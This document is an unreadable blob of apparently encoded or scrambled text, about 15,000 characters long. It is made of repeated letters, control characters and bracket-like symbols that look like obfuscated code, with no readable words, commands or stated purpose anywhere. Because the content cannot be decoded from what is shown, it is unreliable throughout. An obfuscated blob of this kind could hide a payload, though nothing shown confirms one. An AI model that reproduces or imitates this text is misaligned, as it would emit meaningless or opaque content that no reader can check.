VNGGGGmGGGmGGWS	V VQPO8Q TOVS_PNKG^8UVUVOVUV^NN\C8PZPR^\C	PVUWZOC8PYWNXC8P]JC8P\mQWRSVUWTQOCQ KGGCT	W GGXGGGCV SGG]GGGG	N\mGGGCUQW QGGGGGZGGO	NG 8	OWW RUOVRWSNKGGGGWNGLGGV\mGG8	OWW RUOVRWSNKGGCUQW QKGGWW RUOVSQ_NN\mGGGOCUQW QGGYZGGGGGOULVNNGmmmmG8	O^8UVUVOVRWWNKGG8Q TOVSQPNONKGGG8Q TOVSQ_NN\mGGWS	V VQPOWW RUOVRWRNKG8Q TOVSSRNN\mGm	\mGGGGmG	OCW	UQN\mmmmGGGGC	 ^VR_GGZGG8Q TOVRWQN\mGCRR
VR_GZGGGGGON\mGGGGOC^__8_GGGGGGGCQ	TWTTNGGGmC
Q^	R8S	GZG8Q TOVTVUNOCQ	TWTTN\mGGOF'WW RUOVT^UNOC
Q^	R8S	NNGG		\C_UZ_RMR\C	^S8VZC_UJTP\mGGGGC 8_R 8QGGGZGWW RUOVRWPNO8Q TOVRW_NNGXG'^8UVUVOVRW_NOCQ	TWTTKGG@@NGG]GGGG\mGGGGGOC 8_R 8QGFZZGGGGGGAAGG	QU 
OVRWPNO8Q TOVRW^NNNG'OC 8_R 8QKG+($,8"?N\mGGGGGC^^W	GZGG'8Q TOVRWUNOCQ	TWTTNGGXGGGGGG'^8UVUVOVRVWNOCQ	TWTTNGGG]GGW\mGC	UGGZG'8Q TOVRVVNOCQ	TWTTNGGXG'^8UVUVOVRVUNOCQ	TWTTNGGG]GEE\mGGGGOF8Q TOVS^^NOC	UNNGGmGGWS	V VQPO^8UVUVOVRWRNKGGGG	QU 
OVS_SNN\mGGGOC 8_R 8QGGFZZGGNGGGmGGGGO	QU 
OVRVTNO^8UVUVOVRW^NNNGGGGG'OC 8_R 8QKG+($,82)N\mGGGGGGGG'OC 8_R 8QN\mGm		\mmGGmGGGGO^8UVUVOVUQVNOC	UKGGGCW_WNGGFZZGGGNGGGGmGGGGGGGO'8Q TOVRVSNOCQ NNGmmGGGGGGGOC 8_R 8QGFZZGGNGGGGmGGO8Q TOVRVTNO^8UVUVOVRVRNNNGGG'OC 8_R 8QKG+($,82)N\mGGGmmGGGGG'OC 8_R 8QN\mmmmmGGG		\mGmGGGGGC	UGGGZGGG8VTVWU8WQ
OC	UKGGCW_WN\mGmGGGOFWW RUOVS^^NOC	UNNGGGGmmGGWS	V VQPO	QU 
OVRVQNKG8Q TOVS^PNN\mGGGGGGOC 8_R 8QGGGGFZZGGGGNGGmGO^8UVUVOVRVTNO^8UVUVOVRVRNNNGG'OC 8_R 8QKG+($,82)N\mGGG'OC 8_R 8QN\mGGGmG		\mGGmGGOF'	QU 
OVRVSNOCQ NNGmHHG7/7GG	GmC8TPZOW^WLW^N\C	UVWZC8TPBVQ\mGGGGOC 8_R 8QGGGGGFZZGGGNGGGGGmGGGGGGOWW RUOVRVTNO^8UVUVOVRVRNNNG'OC 8_R 8QKGGGG+($,82)N\mGGGG'OC 8_R 8QN\mGGGGGmG		\mmGGGGGGGO
	SP
  PONNGmC ^VURVQRGZGGGGGE;	[.*GY;	EGGGIGGC	 ^VR_GGGGIGGWW RUOVRVPNGGGGIGGGCQ GGGIG@E@GGIGGGE;	[H.*Y;	E\mGGGGGGGGGGGGGGmGC ^VURVQRGGGGGZGGGE;	[.*G
8IY;	EGIGGC	 ^VR_GGGIG	QU 
OVRVPNGGIGGCQ GGGGGIG@E@GGGIGGE;	[H.*Y;	EmGIGGE[.*G
8RIY;	EGIGC	 ^VR_GGGGIGGG^8UVUVOVRV_NGIGGGGCQ GGGIGG@E@GGGGGGIGGE;	[H.*Y;	EmGGGGIGGE[.*G
8PIY;	EGGGGGGIGGGC	 ^VR_GGIGWW RUOVRV_NGGIGGGGCQ GIGG@E@GGGGGIGE;	[H.*Y;	EmmGGGGIGGGE[.*G
8_IY;	EGGGGIGGC	 ^VR_GGIGGGWW RUOVRV_NGIGGGGGGCQ GIGGGGGG@E@GIGGE;	[H.*Y;	E\mGGGGmGGGGGGGOSS8^

TVOCQ	TWTTKGGGGC	UGGGGGIGGGGC ^VURVQRNNGCRR
VR_<:GGGZGGOCQ	TWTTKGC	UN\mGGmmGGGGGGOC^^W	NGGQ	WTT UOCQ	TWTTKGGGGGC^^W	N\mmmGGGGGQ	WTT UOCQ	TWTTKGGGGG	QU 
OVSQPNONN\mGGGGOC 8_R 8QGGFZZGNGGGmmmGGGGOWW RUOVRVTNOWW RUOVRVRNNNGGG'OC 8_R 8QKGGG+($,82)N\mGGG'OC 8_R 8QN\mmGmmGGGGOOCT	W GG^8UVUVOVRV^NOCRR
VR_NGGGGYGGGGWNGGAAGGGGF	8R_^_R^ONNGGGmGGmmGGGGGWS	V VQPO^8UVUVOVRVQNKGG^8UVUVOVSR_NN\mGGGGQWRSVUWTQOCQ KGGCV SN\mGGGGGGGGGOCRR
VR_GGGC
NGGGGGSS8^

TVOC
<W:KGC
<V:N\mGCUQW QGGZGO	NGGGGG 8	O^8UVUVOVRWSNKGGWNGGGGLGGGGV\mG8	O8Q TOVRWSNKGGCUQW QKG	QU 
OVSQ_NN\mGGGOCUQW QGGGYZGOQJTNNGGmGGGGG8	O8Q TOVRUWNKGG^8UVUVOVRUVNONKG8Q TOVRUUNN\mGGGGWS	V VQPO8Q TOVRVQNKG	QU 
OVRUTNN\mGGGmmmGGGG	\mGmGGGGGGOO	NGG 8	O8Q TOVRWSNKGGWNGYGWNGGGGG8	O^8UVUVOVRWSNKGGGWKGWW RUOVRUUNN\mGGGGOO	NGGGG 8	O^8UVUVOVRUWNKGGGWNGGGGYGGGWNGGG'8	O	QU 
OVRUWNN\mmmmGGGGO3GGGC  PNGGmGGWS	V VQPOWW RUOVRUSNKGGC  PN\mGGGGGGGGGO"	GGGGGC  PNGGmGGGGGGWS	V VQPOWW RUOVRURNKGGGGC  PN\C
^_SZQPR\CWPUS_ZOC
^_SYWNXC
^_S]JC
^_S\mGGmmGG		GV^RWONmGGGGmGGGGGGmGGOF	O	QU 
OVRUQNNNG	\mGGGGGGGGOF^8UVUVOVRVTNO^8UVUVOVRUPNNNGG	\CR 	Z7/78*&-(581"54.()\CWV
 8Q8ZCR 	MVW\mGCQUP GZGG^U  

VRO&%47&3/GGIGGG^8UVUVOVRU_NKGGOWTLWPNN\mmmmGGGCPR
GZG	W
_RUTTON\mGGGGGGOFCPR
GGG8Q TOVS_RNOCPR
NGGG[GGGOSPSLUQNNGGGGG	\mmC8VPW_
GGZGQT88^ON\mGGGGmmGGGGC	GZGGG' 8	OCQUP KGGGGGEEN\mGGGGGGOC	GGAAG8Q TOVS_RNOC	NGGGGZZZGG^8UVUVOVRU^NOC8VPW_
NGGAAGC	GGZZZGGC8VPW_
NG	\mGO	QU 
OVRVTNO	QU 
O_P^NNNGGGGGmGGGG8	OCQUP KGGGC8VPW_
KGWW RUOVRUUNN\mGGGGGGO	O8Q TOVRTWNNGGAAGG	O^8UVUVOVRTVNNGGAAG	O	QU 
OVRTUNNGAAG	O^8UVUVOVRTTNNGGGAAGGGGG	QU 
O^PPNO	QU 
OVRTSNNNGGGmC
W	RS_GGZG8Q TOVRTSN\mCR^W	GGZG'	GGGGC
W	RS_O		O^8UVUVOVRTWNNKGG		OWW RUOVRTRNNKGG		O8Q TOVRTUNNKG		O^8UVUVOVRTTNNN\mmmGGGGGGGGOCR^W	GGGGAAGFCR^W	JY		8	NGGmHMG		GGMHmmGCGZGOC +(%&+4<WW RUOVTSWN:JYNGXGC +(%&+4<WW RUOVTSWN:JYGGGG]GGG^8UVUVOVRTQN\mGGC8SUGZGGCR^W	JY88	 OC8VPW_
N\mGCW8	8 RGGZGGCR^W	JY88	 OCQUP N\mGGGGGCR^W	JYOE;S^;S4";RU3G;S^)3;SGC	;PTGO;Q;Q8	;QV;QKG;Q;PS;Q^	8;PR;QRKG;PS;Q;QSNG;RQ;SV+;RR;SR4GO@CW8	8 R@KG@C8SU@KG@	@NG()G#;RR7+.;ST&3"G,">G2;RW#&3;SRG;Q;PS;Q^;Q8;Q;PRZ@C8SU@EN\mGGGGGOCR^W	JYNGGGGWS	V VQPO	QU 
OVRTPNKGGWW RUOVRT_NGIGGG^8UVUVOVRT^NOCR^W	JYKGGGGGWKGGOVR[[TNNN\mGGGCR^W	JYON\mmmmmGGmmmmGGGGGO3GGGC  PNGGmHHG? G]G
G
	mmGGGWS	V VQPO8Q TOVRTPNKGGC  PN\mmmmGGGGGGGO"	GGC  PNGGmGGGGGmHHG
Gmmm		GGTR8SQ^PUTTONmGGmGGC	GGGZG	O8Q TO^RSNNGGXGGG078$()3")38#.5GG]GGGG&%47&3/GGIGG	QU 
O_STN\mGGC	V^GZGG^U  

VRO&%47&3/GGIGGGWW RUOVRSWNKGGOV[[TNN\mGGGGGGG	GGGGOC	GGIGGG8Q TORSQNKGC	GIGGG^8UVUVOVRSVNGGGGGGIGGGC	V^GGIGGGG8Q TOVRSUNKGGGGC	V^N\mmmmGG		GGSVQ	
8TVV	8OC		_R_T^NmmmGmGGGGGGCQVT		PGGGZGGO	NGGGGG'	QU 
OVVV^NOC		_R_T^N\mmmGGGGGGGGOCQVT		PG[GOWULWTPNGGGGGCQVT		PGGYGOWVRRUT_LW_NNGGGG	GG\mmGGGCVQQT  GGGGZG'^8UVUVOVRVUNOC		_R_T^N\mGGGOF	QU 
OVS^^NOCVQQT  NGGGGGWW RUOVRU^NOCVQQT  NGGGG[GOT^LQVNGGWW RUOVRU^NOCVQQT  NGGGYGGOP_WT_RLVTVQPQPNNG	G\mGGGC
8SP_GGGGZGWW RUOVVWRNO@]@KGGCVQQT  KGGGGOUTR9UT^NN\mGGGGGOWW RUOVRV^NOC
8SP_NGGG[GOUW9VQNGGGGGGGC
8SP_<W:GFZZGWW RUOVRSTNGGG8Q TOVRU^NOC
8SP_<OVWR9VWQN:NGGGGGG[GGGGOSVL^NNG	GGGGGG\mGGGCS^WRGGZG'8Q TOVRSSNOC
8SP_<OVLUN:N\mGGGGOCS^WRGGGGGGZZZGGGGGGGWW RUOVRSRNOCS^WRNGGGGG[GGOWTLWUNNGG	GGG\mmmmGGGO^8UVUVOVRT^NOCS^WRKGWKGGUNGGGGZZZGGE;V;_ENGGmGGC
_VPPGGZGGG'WW RUOU^WNO@1@KG	QU 
OVRT^NOCS^WRKGGJOQV9RPNNN\mGGGGGGGGOFWW RUOVRSQNOC
_VPPNGGGC
_VPP<V:GGGGG[GGOUU9VVSNGGGGGGC
_VPP<V:GGGGYGOVWS_S^WL_QNNGG	GG\mGGGOWW RUOVRSPNO^8UVUVOVRS_NNNGGGGCS^WRGGZGGGG' OCS^WRKGGOVWS_RQPL^NN\mmGGGGGO^8UVUVOVRS^NO^8UVUVOU^TNNNGGmCS^WRGGGGZGG' 	O8Q TOVRT^NOCS^WRKGGGGGO_LUNKGGGWW RUOVRRWNOCS^WRNGGJGGOPT9^VNNKGGOVWS_RRQLUWNN\mGGGGGGGO^8UVUVOVS^^NOCS^WRNGGGGGGAAGGG8Q TOVRRWNOCS^WRNGYGGGGOVWS_RPWLQNNGGGGG	GGGGG\mGGGGGGGmmGGGGGGGGG	GG\mmGGGGOF^8UVUVOVRRVNOCS^WRNGGGGWW RUOVRRUNOCS^WRNGG[GGO_SLVQNGGG^8UVUVOVRRTNOCS^WRKGWKGGGOVQS9VQVNNGFZZGG^8UVUVOPSPNGGGGGGGGGWW RUOVSU_NOCS^WRNGGGGFZZGGC
8SP_<U:NGGGG	GGGGGG\mGG	GCS^WR\C
_V^PZ_VR\C8QQST^ZOC
_V^PYWNXC
_V^P]JC
_V^P\mmmmmGG		GVONmmmmGGGGGmGGGGGGGOF	O	QU 
OVRUQNNNGG	\mGGGGGGGC8^GGGZGTR8SQ^PUTTON\mGGOF'8Q TOVRVSNOC8^<V:NNGG	\mGGGGGGGOSVQ	
8TVV	8OC8^<V:NGZZZGGGNG	\C^^S ZTUM^\C
	TPZC^^S JVQ\mGGGGGGCWUWRGZGGG_T^PO^8UVUVOPTWNKGO@884+2 88@NKGGGO8Q TOVS_QNO^RRONKGG^8UVUVOVT^TNNNN\mGGGGGOF	QU 
OVRRVNOCWUWRNGGGGGGGCWUWRGGZZZGGEENGGG	\mGGGCWUWRGGGGZGWW RUOVSUUNO	QU 
OVRRSNKGEEKGGGGCWUWRN\mGGGGOF^8UVUVOVRRVNOCWUWRNGGGGGCWUWRGZZZGGGEENG	\mCS	UGGGZGGGGGG^8
U_U
ONGGGIGG@]@GGGGGIGG^U  

VRO&%47&3/GIGG^8UVUVOVRRRNKGGOWULWQNN\mGC_RS_8GGGGGGZG	QU 
OVRRQNGIGGGGCS	UGGIGGGGGG^8UVUVOVRRPN\mGC U_WR
UGGZGG	QU 
OVRR_NGGIGGGCS	UGGIGG	QU 
OVRRPN\mmmGGCV
UGZGWW RUOVRR^NGIGGGGC8^<U:GIGG^8UVUVOVRQWNGGIGGGGGG^8
U_U
ONGGGIGGG	QU 
OVRRPNGIGGGGE;	EGGGGGIGGGGGCWUWR\mmmGGGGOF'WW RUOVRVSNOC8^<W:NNGGGmGGGGOFUQUP8T^OC8^<W:KGGEENNGmGGWS	V VQPO	QU 
OVRSWNKG^8UVUVOVRQVNN\mmmm	\mGGmHHG'	G
mmGGOSS8^

TVOC8^<W:KGGGGGCV
UNNGGGmmGGGGGQ	WTT UOC8^<W:KGGG	T	ONN\mG



T_WOC8^<W:KGGOTQRLRRNN\mGGGS_R^W8OC8^<W:N\mGmHHG07G%G1	]G	GmmG	\mmmmmGGC8

TGZGG'^8UVUVOVRVUNOC8^<W:N\mGGGGGGGGGOFWW RUOVRRVNOC8

TNGGGG	QU 
OVRRUNOC8

TNGGGYGGGOUW^PW^_LRSNNG	\mGGGOWW RUOVRQUNOC8

TKGC_RS_8NGGFZZGGGGGGAAGG^8UVUVOVRQUNOC8

TKGGC U_WR
UNGFZZGGNGGG	\mGGO	QU 
OVRQUNOC8

TKGWW RUOVRQTNNGGGGGZZZGGGGAAGG^8UVUVOVRQSNOC8

TKGGGGWW RUOVRQRNGGIGC8^<U:NGFZZGGNGmmmmGGGGO	QU 
OVRQQNO8Q TOVRQPNKG^8UVUVOVRRTNOC8

TKGGWKGGOV^RLRNNKGGCWSWVQNGAAG	8
OCWSWVQ<V:KGGGG^8
U_U
ONKGWW RUOV^_NNNG	\mGGGGGOFUQUP8T^OC8^<W:KGC8

TNNGGmGGGGWS	V VQPO	QU 
OVRQ_NKG	QU 
OVRQVNN\C
_ V8ZJPR_\C8SUU
 ZOC
_ V8YWNXC
_ V8]JC
_ V8\m	\mmGGGGGGOSS8^

TVOC8^<W:KGCV
UNNGGmGGGGQ	WTT UOC8^<W:KGGGGGG	T	ONN\mGGGGGGG



T_WOC8^<W:KGGGGOWVULWPPNN\mGGGGGS_R^W8OC8^<W:N\mGGGmG	\mmGCUQ^	Q	GGGZGG^U  

VRO&%47&3/GGIGG	QU 
OVRRRNKGGGGGOWQLWUNN\mGGGC8

TGZG^8UVUVOVRQ^NO^8UVUVOVRPWNGGGGIGGCUQ^	Q	GGGGGIGG	QU 
OVRPVNKGGEEKGC8

TN\mGGGGGGGGGOF^8UVUVOVRRVNOC8

TNNGmGGGGWS	V VQPO^8UVUVOVRQ_NKG8Q TOVS^PNN\mmmmG	\mmGGGGGGGGGGGOF'8Q TOVT^UNOC8^<W:NNGGGGG	\mmmGGOF
WS
_RPOWW RUOVRPUNNNGGmGGGGWS	V VQPO	QU 
OVRPTNKGG	QU 
OVRPSNN\mGGGGG	\mGmGGGGOFUQUP8T^OC8^<W:KGGGGGC8

TNNGmGWS	V VQPO^8UVUVOVRPTNKGGWW RUOVRQVNN\CT
ZSSQR\CQW
_UZCT
BVV\mG	\mGmSWT

U
O^8UVUVOVRPRNN\mmGGGGGGCSTPGZGC_RS_8GIGGGE;	EGIGGGGGG	QU 
OVRPQNGIGC8^<U:GGIGWW RUOVRRPNGIGGE;	EGGGGGIGGGCWUWRGGIGE;	EGIGGC U_WR
U\mGGGGSS8^

TVOC8^<W:KGT
8U_ OC8

TKGCSTPNN\mGGGGGGGGGO3GC  PNGGGmGGGWS	V VQPO	QU 
OVRPPNKGGC  PN\mGGGGGO"	GGC  PNGmGGGGmGGmmGGGG		GGGG
UPWVTS
RSTTONmGGGGGGmGGGGGGGmGGGGGGGGOF	O8Q TOVRUQNNNG	\mGGC8^GGZGGGGGGTR8SQ^PUTTON\mGGC_SRGZGO	 NGGGGGG'	QU 
OVRP_NOC8^<V:KGGKGG	KGGWKGGGGOS[[SNN\mmmmGGOWW RUOVRP^NO	QU 
OVR_WNKGC_SRKGGGGCUUTVVNGGAAGGGCUUTVV<V:GGZZZGG^8
U_U
ONNGGmGCW WPUGZGGGO	NGG 8	OWW RUOVR_VNKGGGWN\mGGGGGGGO	QU 
OVRUVNONGGGJGGCW WPUGGG[GGGGORT_LQUNNGG	\mmGGGOSVQ	
8TVV	8OC8^<V:NGGGGGFZZGGGNGGGC
	R
WZ^VR^\CR
VT_^ZC
	R
WBT\mGGGG'8	O^8UVUVOVR_VNKGGG8Q TOVRUVNONKGG	QU 
OVRUUNN\mGGGG	\CPVRZOWTTLW^WN\C
S ZCPVRBVR\mGGGGmGGGWS	V VQPOWW RUOVRPPNKGG^8UVUVOVR_UNN\mGmGGCPR
GGGGGZGG	W
_RUTTON\mmGGGGGOFCPR
GGGGG	QU 
OVRRUNOCPR
NGG[GOSPRLURNGGGGGGGWW RUOVRRUNOCPR
NGGYGGGGOVWS_S_TL^TNGGGFW^RTOCPR
NNGGG	\C	U
 V	ZOW_LWVN\CPTSTWZC	U
 V	B^\mGGGCW	 	GGGGGZGG^8UVUVOVRS^NO^8UVUVOU_TNNGGGGGXGGGGGG' 	OCPR
KGGOTP9TRNNGG]GGCPR
\mGGOF8Q TOVRRVNOCW	 	NGGGCW	 	GGGZZZGGEENGGGG	\mGGGGGGGOSS8^

TVOC8^<V:KGGWW RUOVR_TNGGGIGG^8
U_U
ONGGIG@]@GGIGG	QU 
OVR_SNOCPR
NGIGGGG@]@GGGGGIG8Q TOVTPRNOCW	 	NNNGGGGG'8	O	QU 
OVR_VNKGGG	QU 
OVRUVNONKGG^8UVUVOVR_RNN\mGGGGGGGGGO3GGC  PNGGGmGGWS	V VQPOWW RUOVR_QNKGGC  PN\mGGGGGGGGGGGGGO"	GGGC  PNGmGGmGm		GPTW^ VUVONmmmGGGGGOF	QU 
OVRS^NO^8UVUVOVR_PNNNG	G\mCS	 V8_GGZGGG	O	QU 
OVRUQNNGAAG'WW RUOVRVVNO&%47&3/GGGGGIGGG^8UVUVORQ^NNGGXGGGG&%47&3/GGGGIGG	QU 
ORQ^NGGGG]GGGG88!.+"88\mmGGG	G8Q TOVR_PNOCS	 V8_KGG@@N\mmmmGGGGGGmG		GR	P WVPONmGGmGGGGmGGGGGGGGOF^8UVUVOVRS^NO^8UVUVOVR__NNGGGGGGFWW RUOVR_^NO	QU 
OVR^WNNNGGGG	\mGGGGGGGGOF	O	QU 
OVR^VNNNGG	\mmmmGCPR
GGGGGGZGGG	W
_RUTTON\mGGGOFCPR
GGGGGGG8Q TOVR^UNOCPR
NG[GGGO_VSJTVSNNGGG	\mGGCGGGGZGPTW^ VUVON\mmmGOCGZZZGGGNGGG	\mmC SUWGGZGG8Q TOVR_^NOWW RUOVR^TNNGXGG^8UVUVOVR^TNO^8UVUVOVR^SNKGCPR
NGG]GGGG8Q TOVR_SNOCPR
N\mGGGC	TT_GZGGWW RUOVR^RNGIGG8Q TOVR^UNOCPR
NGIGG@]@GGGIGGC SUWGGGIGGGGGGE;	EGGIGCPR
\mGC8VTT^S8GGGGGGZG8Q TOVR^UNOC	TT_N\mCT_S
WGZGGGG'8Q TOVR__NOCKG@@KGGGWKGGWN\mGGGGGGOCT_S
WNGGGmCTQ8
TGGGGGGZGO	NGGGG'^8UVUVOVR^QNOCT_S
WN\mmmmGGGCV SGGGZGG'8Q TOVR^PNOCT_S
WKGGGWKGGCTQ8
TN\mGGGGGGO^8UVUVOVR^_NOCV SNGGGAAGG^8UVUVOVRQSNOCV SKGGGGGCPR
NGGGFZZGGNGGm'	QU 
OVR^^NOCT_S
WN\m	\mmHHG'J G	
mmGGGGGOCTQ8
TGGGGYZGC8VTT^S8NGmGG'	QU 
OVR^^NOCT_S
WN\mGGGCT_S
WGGGZGG'8Q TOVR__NOCKG@@KGWKGWN\mGGGGOCT_S
WNGGm'8Q TOVQWWNOCT_S
WKGGG^8UVUVOVQWVNOC	TT_KGCTQ8
TKGGE;WENKGGGGGWN\mC
VGGGGGZG'WW RUOVR^PNOCT_S
WKGGGGGGWKGGGGC8VTT^S8N\mG'8Q TOVQWUNOCT_S
WN\mGGGGGGGGGGGOC
VGGFZZGGC	TT_NGGGGWS	V VQPOWW RUOVQWTNKGG8Q TOVQWSNN\mGmmmGGGG	\mGGGGGGGGGGm'WW RUOVQWRNOCT_S
WN\mGGGGGGG'^8UVUVOVQWUNOCT_S
WN\mmGGGmHHG(	44+GTGG	 G	mmCTQ8
TGGGGGZGGC8VTT^S8GLGGGO^^QLU_N\mGGGGGGCT_S
WGGGZGG'^8UVUVOVR__NOCKG@@KGGOWVLWTNKGCTQ8
TN\mGGGGGGOFCT_S
WNG	\mGmmG'8Q TOVQWWNOCT_S
WKG	QU 
OVQWVNOC	TT_KGCTQ8
TKGGGE;WENKGGGGWN\mmmGGGGC
VGZGGGGG'	QU 
OVR^PNOCT_S
WKGGWKGC8VTT^S8N\mGGGGGGGGGGOC
VGGGGGFZZGC	TT_NGGGWS	V VQPOWW RUOVQWTNKGG8Q TOVQWSNN\mGG'^8UVUVOVQWUNOCT_S
WN\mGGGGGO3GGGGGC  PNGC _VPVZOWLW^^N\C
U_
^ZC _VPVBS\mGGGGWS	V VQPO^8UVUVOVQWTNKGGGGGC  PN\mGGGGGGGGGGGO"	GC  PNGGmmmGmmGG		GGGT
8U_ OC	KGGGCSTPNmGmmmGGOF8Q TOVR^_NOC	NGGGGC	GGGGGZZZGGEENGGG	GGGG8Q TO^^UNGIGGGCSTPGGGGGIGGE;	E\mGGGGGGO^8UVUVOVRP^NOWW RUOVQWQNKGC	KGC
TW	P^KGG75" 8(!!4"38$&7325"NNGGGmGGGCPQ_^VGZGC
TW	P^<W:<V:GLG^8UVUVOVR^UNOC
TW	P^<W:<W:N\mCRP_SUGGZGGGG	QU 
OVQWPNOC	KGGGGCPQ_^VKGGO_VS^LSTNN\mGGGGGGGO^8UVUVOVQW_NOCRP_SUNGGAAGGG^8UVUVOVRP^NO	QU 
OVQW^NKGCRP_SUKGC8
NNGGGmmmGGGGGGGCPQ_^VGGGGLZGG	QU 
OVR^UNOC8
<W:N\mGGCRP_SUGGGGZGG	QU 
OVQWPNOC	KGGGGCPQ_^VKGO^WVPJ_URNN\mmmGGGmGGG	G8Q TOVQWPNOC	KGGWKGGCPQ_^VNGIGGE;	EGIGGCSTPGGGGGIGE;	EGGIGWW RUOVQVWNOC	KGGGGGGCPQ_^VN\mGGGmG	GGGWW RUO^^UNGIGGCSTPGIGGE;	XY;	EGIGGGGGC	\mGmG		GGGGG
WS
_RPOCNmGGmHHG'	GJ	mmGGGGGGGGGOF8Q TOVQVVNO8Q TOVRUPNNNGG	GGGG\mGGGGGGC R8S GZGGGG' 8	O^8UVUVOVQVUNGGGGGIGGCKGEEN\mGGGGGO8Q TOVQW_NOC R8S NGGGAAG^8UVUVOVRQSNOC R8S KGG@@NGFZZGNGmGGGGC
8SP_GGGZGG^8UVUVOVQVTNO@@KGGGC R8S KGGGGGGUN\mGGGGGGOO	NGGC
8SP_<W:GZZZGGGO	NGOWW RUOVQVSNONGGGGGGHGGOWTVLWVVSQVNNGGAAGO	NGGGGGC
8SP_<V:GGYZGOWULWVNNGGG	G\mGGGmGGGG	GG\mmGGGGm		GGSWT

U
OCNmGGGGGmGGGGGOF	QU 
OVQVVNO8Q TOVRUPNNGGGGGGGF8Q TOVQVVNO	QU 
O_P^NNNGGGG	\mGC8RQPU R8GGZGGGO	NGGGO8Q TOVQVRNONGHGGOWVWULWS^VNN\mGGC R8S GZGGG' 8	O8Q TOVQVUNGGGGGIGGGGGCKGEEN\mGGGGGGC
GZGGW\C
VWPSZVRMQ\C __ 
ZC
VWPSJTS\mGGO8Q TOVQW_NOC R8S NGGGAAGGGWW RUOVRQSNOC R8S KG@@NGGGGGFZZGGGGGGNGmGC
8SP_GZGGGG	QU 
OVQVTNO@@KGC R8S KGUN\mGGGGGGGGOO	NGC
8SP_<W:GZZZGGC8RQPU R8NGC
GGZGGGO	NGGC
8SP_<V:\mGGGGGmGGGGC
LL\mG'8	O8Q TOVQVQNGGGGGIGGCKGGGC8RQPU R8GGGGGGIG@@GGGGGIGC
KGGGG	QU 
OVR_RNN\mGGGOC
GGYZGGGORJUNNGGWS	V VQPO^8UVUVOVQVPNKG	QU 
OVQV_NGIGGCN\mGGmGGGG		GGG ^^^SONmGGmGmGGGOF	O^8UVUVOVR^VNNNGGGG	\mGGOF	OWW RUO^RSNNGGGGF'	QU 
OVT^UNO078$()3")38#.5NGGGGGGFWQR8O078$()3")38#.5NNGGG	\mGC	
QRVGGGGZGGGGG078$()3")38#.5\mGCQW _	RGGGGZGGC	
QRVGGGGGIGGG	QU 
ORSVN\mGGGGCWU W
GZG^8UVUVOVS_QNO^RRONKGG^8UVUVOVT^TNN\mmC
^Q
GGGGZG^U  

VRO&%47&3/GIGGGGGWW RUOVTSRNKGGGGGOPLVNNGGGIGWW RUOVTSQN\mGGGCW	WGGGGZGGGRU^W
 ON\mGCQUP GGZGGGG^U  

VRO&%47&3/GIGG	QU 
OVRTPNKGOW_LWUNN\mCTGZGGGGGG^8UVUVOVQV^NO^8UVUVOVR^WNNGGXGPTW^ VUVONG]GG\mGC		W^QVWGGGGZGCTGFZZGGXG^8UVUVOVQUWNOCTNGG]GGGW\mC 
UV GGGGZGGOC +(%&+4<8Q TOVQUVN:JYNGGGXGGGGGGC +(%&+4<^8UVUVOVQUVN:JYGGGGG]GGGGG8Q TOVRTQN\mGCQ T GZG	QU 
OVQUUNGGGGIGGGGGWW RUOVQVWNO	QU 
OVR_SNOCWU W
GGGIGGGO	 NGGGVS^SONNKGWKGGOVSJQNN\mGGGGGGGCWGGZGGGG_T^POmmWW RUOVQUTNKmGO@884+2 88@KGGGGG@88=.78)&*"88@KG@884/*(78,">88@KG@88(738)&*"88@KG@8807875"!.?88@KGG@88 2&5#8)&*"88@KG@881"54.()88@NKmOCWU W
KGGGGGC
^Q
KGGGGGC		W^QVWKGCQUP KGC 
UV KGGCQ T KG^8
U_U
ONNmGN\mGOFCWNGGGC8Z_UMU\CP	
 SZC8JVT\mGGGOO	NGGGGGG 8	O^8UVUVOVQUSNKGGGGWNGGYGGWNGWS	V VQPO8Q TOVQURNKGG^8UVUVOVQUQNN\mG	\mGGmGC	GZG'8Q TOVRVVNOCQW _	RNGGGGXGG'^8UVUVOVQUPNOCQW _	RNG]GGGGGEE\mmmmGGGGGGGOF^8UVUVOVQU_NOC	NNGGGmGWS	V VQPOWW RUOVQURNKGG^8UVUVOVS_SNN\mmmG	\mGmHHG'
G	mmGGGGC	GGGZGGG8 	  OC	N\mGGGGCS	UGZG^8
U_U
ONGGIGG@]@GIGG^U  

VRO&%47&3/GGGGIG	QU 
OVQU^NKGGOWPLWVNN\mGGGGGC_RS_8GGGZG8Q TOVQTWNGGGIGGGCS	UGIGG	QU 
OVQTVN\mC U_WR
UGGZGGGGGWW RUOVQTUNGIGGCS	UGGIGG	QU 
OVQTTN\mGCWPQGZGGG^U  

VRO&%47&3/GGIGGG	QU 
OVQU^NKGOQLUNN\mGCWW RVGGZGGGGGWW RUOVRQ^NOWW RUOVQTSNGGGGGIGGGGCWPQGGGIGGGGGG	QU 
OVQTRNKGEEKGGC	N\mGGGGGGCW8TQGGGGZGGO8Q TOVRQSNOCWW RVKGWW RUOVQTQNNGGGFZZGN\mGGGGGO	QU 
OVRQSNOC	KGC_RS_8NGGFZZGGAAGGWW RUOVQTPNOC	KGGC U_WR
UNGGFZZGGAAGGFCW8TQNGmGGGGG^Q_VSR ON\mGGG	\mGmmGmC	GZGG8Q TOVQT_NO8Q TOVQT^NKGEEKGGCWW RVN\mGGGGGGGGOF	QU 
OVQU_NOC	NNGGGGGGmmmmWS	V VQPO^8UVUVOVQURNKGWW RUOVQSWNN\m	\mmmmGGGmC	GZGGG8 	  OC	N\mGCU_GGZGGGGWW RUOVQSVNOWW RUOVRRSNKGGGEEKGGGCWN\mHHG
	G		GmmmmmGGGGGGCW_WT RGGGZGGGGGO^8UVUVOVR^UNOC	NGGZZZGGGWN\mmmmGGGOFCW_WT RNGGmGGGGOF
WS
_RPO8Q TOVQURNNNGmGGWS	V VQPO^8UVUVOVQURNKGGGGWW RUOVRPSNN\mGGGGG	\mGGmmmmGGGGOFUQUP8T^OCQW _	RKGGC	NNGmGGGWS	V VQPOWW RUOVQSUNKG	QU 
OVRQVNN\mGGGGG	\mGGGmSWT

U
OWW RUOVQSTNN\mGGGGGGGGGGGGGmGGGGOFUQUP8T^OCQW _	RKGGEENNGmGGWS	V VQPO8Q TOVQSTNKGGGGG8Q TOVRQVNN\mG	\mmmmGC	TGGGZGT
8U_ OC	KGC_RS_8GGGIGE;	EGIGCU_GIGGGE;	EGGGGIGGGGC U_WR
UN\mGGGGGGGGGGGGOFSS8^

